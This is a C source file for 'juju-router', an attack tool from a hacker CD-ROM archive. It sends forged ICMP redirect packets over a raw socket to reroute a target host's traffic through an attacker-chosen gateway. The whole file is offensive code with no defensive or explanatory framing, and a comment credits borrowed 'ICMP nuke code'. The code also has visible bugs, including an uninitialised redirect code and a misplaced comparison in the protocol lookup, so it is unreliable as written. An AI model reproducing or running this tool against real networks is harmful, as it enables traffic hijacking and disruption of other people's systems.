home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / hoobie / juju.c < prev    next >
C/C++ Source or Header  |  2001-11-06  |  4KB  |  166 lines
  1. #include <netdb.h>
  2. #include <sys/time.h>
  3. #include <sys/types.h>
  4. #include <sys/socket.h>
  5. #include <netinet/in.h>
  6. #include <netinet/in_systm.h>
  7. #include <netinet/ip.h>
  8. #include <netinet/ip_icmp.h>
  9. #include <netinet/tcp.h>
  10. #include <signal.h>
  11. #include <errno.h>
  12. #include <string.h>
  13. #include <stdlib.h>
  14. #include <stdio.h>
  15.  
  16. int 
  17. resolver(host,saddr)
  18.   char *host;
  19.   struct sockaddr_in *saddr;
  20. {
  21.   struct hostent *h=gethostbyname(host);
  22.  
  23.   bzero(saddr,sizeof(struct sockaddr));
  24.   saddr->sin_family=AF_INET;
  25.   if (h!=NULL)
  26.   {
  27.     saddr->sin_family=h->h_addrtype;
  28.     bcopy(h->h_addr,(caddr_t)&saddr->sin_addr,h->h_length);
  29.     return(0);
  30.   }
  31.   else
  32.   {
  33.     fprintf(stderr,"juju-router: unknown host ``%s''\n",host);
  34.     return(-1);
  35.   }
  36.   return(0);
  37. }
  38.  
  39. in_cksum(addr,len)
  40.   u_short *addr;
  41.   int len;
  42. {
  43.   register int nleft = len;
  44.   register u_short *w = addr;
  45.   register int sum = 0;
  46.   u_short answer = 0;
  47.  
  48.   /* This function was taking from existing ICMP nuke code and
  49.      was presumably originally stripped from a ``ping.c'' implementation.
  50.   */
  51.  
  52.   while( nleft > 1 )
  53.   {
  54.     sum+=*w++;
  55.     nleft-=2l;
  56.   }
  57.   if( nleft == 1 )
  58.   {
  59.     *(u_char *)(&answer) = *(u_char *)w;
  60.     sum+=answer;
  61.   }
  62.   sum=(sum>>16)+(sum& 0xffff);
  63.   sum+=(sum>>16);
  64.   answer=~sum;
  65.   return(answer);
  66. }
  67.  
  68. int
  69. icmp_reroute(host,uhost,port,code)
  70.   char *host, *uhost;
  71.   int code, port;
  72. {
  73.   struct sockaddr_in       name;
  74.   struct sockaddr          dest,    uspoof;
  75.   struct icmp              *mp;
  76.   struct tcphdr            *tp;
  77.   struct protoent          *proto;
  78.  
  79.   int    i, s, rc;
  80.   char   *buf=(char *) malloc(sizeof(struct icmp)+64);
  81.  
  82.   mp=(struct icmp *) buf;
  83.  
  84.   if (resolver(host,&dest)<0) return(-1);
  85.   if (resolver(uhost,&uspoof)<0) return(-1);
  86.  
  87.   if ((proto=getprotobyname("icmp")==NULL))
  88.   {
  89.     fprintf(stderr,"fatal; unable to determine protocol number of ``icmp''\n");
  90.     return(-1);
  91.   }
  92.   
  93.   if ((s=socket(AF_INET,SOCK_RAW,proto->p_proto))<0) 
  94.   {
  95.     perror("opening raw socket");
  96.     return(-1);
  97.   }
  98.   name.sin_family=AF_INET;
  99.   name.sin_addr.s_addr=INADDR_ANY;
  100.   name.sin_port=htons(port);
  101.  
  102.   if ((rc=bind(s,(struct sockaddr *) &name, sizeof(name)))==-1)
  103.   {
  104.     fprintf(stderr,"fatal; error binding sockets\n");
  105.     return(-1);
  106.   }
  107.  
  108.   if ((proto=getprotobyname("tcp")==NULL))
  109.   {
  110.     fprintf(stderr,"fatal; unable to determine protocol number of ``tcp''\n");
  111.     return(-1);
  112.   }
  113.  
  114.   bzero(mp,sizeof(struct icmp)+64);
  115.   mp->icmp_type         = ICMP_REDIRECT;
  116.   mp->icmp_code         = code;
  117.   mp->icmp_ip.ip_v      = IPVERSION;
  118.   mp->icmp_ip.ip_hl     = 5;
  119.   mp->icmp_ip.ip_len    = htons(sizeof(struct ip)+64+20);
  120.   mp->icmp_ip.ip_p      = IPPROTO_TCP;
  121.   mp->icmp_ip.ip_src    = ((struct sockaddr_in *)&dest)->sin_addr;
  122.   mp->icmp_ip.ip_dst    = ((struct sockaddr_in *)&dest)->sin_addr;
  123.   mp->icmp_gwaddr       = ((struct sockaddr_in *)&uspoof)->sin_addr;
  124.   mp->icmp_ip.ip_ttl    = 150;
  125.   mp->icmp_cksum        = 0;
  126.   tp=(struct tcphdr *)((char *)&mp->icmp_ip+sizeof(struct ip));
  127.   tp->th_sport          = 23;
  128.   tp->th_dport          = htons(1499);
  129.   tp->th_seq            = htonl(0x275624F2);
  130.   mp->icmp_cksum        = htons(in_cksum(mp,sizeof(struct icmp)+64));
  131.  
  132.   if ((i=sendto(s,buf,sizeof(struct icmp)+64,0,&dest,sizeof(dest)))<0)
  133.   {
  134.     fprintf(stderr,"fatal; error sending forged packet\n");
  135.     return(-1);
  136.   }
  137.   return(0);
  138. }
  139.  
  140. void
  141. main(argc,argv)
  142.   int argc;
  143.   char **argv;
  144. {
  145.   int i, code;
  146.  
  147.   if ((argc<4) || (argc>5))
  148.   {
  149.     fprintf(stderr,"usage: juju-router target new-destination port code\n");
  150.     fprintf(stderr,"codes: 0 _REDIRECT_NET    1 _REDIRECT_HOST (default)\n");
  151.     fprintf(stderr,"       2 _REDIRECT_TOSNET 2 _REDIRECT_TOSHOST\n");  
  152.     exit(1);
  153.   }
  154.  
  155.   printf("juju-router: rerouting dynamically....");
  156.   if (code!=0 && code!=1 && code!=2 && code!=3) code=0;
  157.   if (icmp_reroute(argv[1],argv[2],argv[3],code)<0)
  158.   {
  159.     printf("failed.\n");
  160.     exit(1);
  161.   }
  162.   printf("succeeded.\n");
  163.   exit(0);
  164. }
  165.  
  166.